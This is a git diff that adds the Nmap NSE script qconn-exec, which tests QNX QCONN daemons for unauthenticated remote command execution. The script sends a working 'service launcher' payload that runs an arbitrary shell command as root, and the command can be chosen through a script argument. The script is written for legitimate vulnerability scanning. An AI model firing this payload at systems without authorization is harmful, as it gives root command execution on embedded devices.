diff --git a/CHANGELOG b/CHANGELOG index 7bcd62987..78afc7f21 100644 --- a/CHANGELOG +++ b/CHANGELOG @@ -1,5 +1,8 @@ # Nmap Changelog ($Id$); -*-text-*- +o [NSE] Added the qconn-exec script by Brendan Coles, which tests the + QNX QCONN service for remote command execution. + o [Zenmap] Fixed a crash that would happen when you entered a search term starting with a colon: "AttributeError: 'FilteredNetworkInventory' object has no attribute 'match_'". diff --git a/scripts/qconn-exec.nse b/scripts/qconn-exec.nse new file mode 100644 index 000000000..17e2cb9b8 --- /dev/null +++ b/scripts/qconn-exec.nse @@ -0,0 +1,113 @@ +local comm = require("comm") +local vulns = require("vulns") +local stdnse = require("stdnse") +local shortport = require("shortport") + +description = [[ +Attempts to identify whether a listening QNX QCONN daemon allows +unauthenticated users to execute arbitrary operating system commands. + +QNX is a commercial Unix-like real-time operating system, aimed primarily at +the embedded systems market. The QCONN daemon is a service provider that +provides support, such as profiling system information, to remote IDE +components. The QCONN daemon runs on port 8000 by default. + +For more information about QNX QCONN, see: +* http://www.qnx.com/developers/docs/6.3.0SP3/neutrino/utilities/q/qconn.html +* http://www.fishnetsecurity.com/6labs/blog/pentesting-qnx-neutrino-rtos +* http://www.exploit-db.com/exploits/21520 +* http://metasploit.org/modules/exploit/unix/misc/qnx_qconn_exec +]] + +--- +-- @usage +-- nmap --script qconn-exec --script-args qconn-exec.timeout=60,qconn-exec.bytes=1024,qconn-exec.cmd="uname -a" -p +-- +-- @output +-- PORT STATE SERVICE VERSION +-- 8000/tcp open qconn qconn remote IDE support +-- | qconn-exec: +-- | VULNERABLE: +-- | The QNX QCONN daemon allows remote command execution. +-- | State: VULNERABLE +-- | Risk factor: High +-- | Description: +-- | The QNX QCONN daemon allows unauthenticated users to execute arbitrary operating +-- | system commands as the 'root' user. +-- | +-- | References: +-- | http://www.fishnetsecurity.com/6labs/blog/pentesting-qnx-neutrino-rtos +-- |_ http://metasploit.org/modules/exploit/unix/misc/qnx_qconn_exec +-- +-- @args qconn-exec.timeout +-- Set the timeout in seconds. The default value is 60. +-- +-- @args qconn-exec.bytes +-- Set the number of bytes to retrieve. The default value is 1024. +-- +-- @args qconn-exec.cmd +-- Set the operating system command to execute. The default value is "uname -a". +-- +-- @changelog +-- 2012-10-07 - Created - created by Brendan Coles - itsecuritysolutions.org +-- 2013-07-28 - Revised - allow users to specify arbitrary commands +-- - now uses the vuln library for reporting + +author = "Brendan Coles" +license = "Same as Nmap--See http://nmap.org/book/man-legal.html" +categories = {"intrusive", "exploit", "vuln"} + +portrule = shortport.port_or_service ({8000}, "qconn", {"tcp"}) + +action = function( host, port ) + local vuln_table = { + title = "The QNX QCONN daemon allows remote command execution.", + state = vulns.STATE.NOT_VULN, + risk_factor = "High", + description = [[ +The QNX QCONN daemon allows unauthenticated users to execute arbitrary operating +system commands as the 'root' user. +]], + + references = { + 'http://www.fishnetsecurity.com/6labs/blog/pentesting-qnx-neutrino-rtos', + 'http://metasploit.org/modules/exploit/unix/misc/qnx_qconn_exec' + } + } + + -- Set socket timeout + local timeout = (stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout")) or 30) + + -- Set max bytes to retrieve + local bytes = (stdnse.get_script_args(SCRIPT_NAME .. '.bytes') or 1024) + + -- Set command to execute + local cmd = (stdnse.get_script_args(SCRIPT_NAME .. '.cmd') or "uname -a") + + -- Send command as service launcher request + local req = string.format("service launcher\nstart/flags run /bin/sh /bin/sh -c \"%s\"\n", cmd) + stdnse.print_debug(1, ("%s: Connecting to %s:%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number)) + local status, data = comm.exchange(host, port, req, {timeout=timeout*1000,bytes=bytes}) + if not status then + stdnse.print_debug(1, ("%s: Timeout exceeded for %s:%s (Timeout: %ss)."):format(SCRIPT_NAME, host.targetname or host.ip, port.number, timeout)) + return + end + + -- Parse response + stdnse.print_debug(2, ("%s: Received reply:\n%s"):format(SCRIPT_NAME, data)) + if not string.match(data, "QCONN") then + stdnse.print_debug(1, ("%s: %s:%s is not a QNX QCONN daemon."):format(SCRIPT_NAME, host.targetname or host.ip, port.number)) + return + end + + -- Check if the daemon attempted to execute the command + if string.match(data, 'OK [0-9]+\r?\n') then + vuln_table.state = vulns.STATE.VULN + local report = vulns.Report:new(SCRIPT_NAME, host, port) + return report:make_output(vuln_table) + else + stdnse.print_debug(1, ("%s: %s:%s QNX QCONN daemon is not vulnerable."):format(SCRIPT_NAME, host.targetname or host.ip, port.number)) + return + end + +end diff --git a/scripts/script.db b/scripts/script.db index cca600b02..40d750952 100644 --- a/scripts/script.db +++ b/scripts/script.db @@ -330,6 +330,7 @@ Entry { filename = "pjl-ready-message.nse", categories = { "intrusive", } } Entry { filename = "pop3-brute.nse", categories = { "brute", "intrusive", } } Entry { filename = "pop3-capabilities.nse", categories = { "default", "discovery", "safe", } } Entry { filename = "pptp-version.nse", categories = { "version", } } +Entry { filename = "qconn-exec.nse", categories = { "exploit", "intrusive", "vuln", } } Entry { filename = "qscan.nse", categories = { "discovery", "safe", } } Entry { filename = "quake3-info.nse", categories = { "default", "discovery", "safe", "version", } } Entry { filename = "quake3-master-getservers.nse", categories = { "default", "discovery", "safe", } }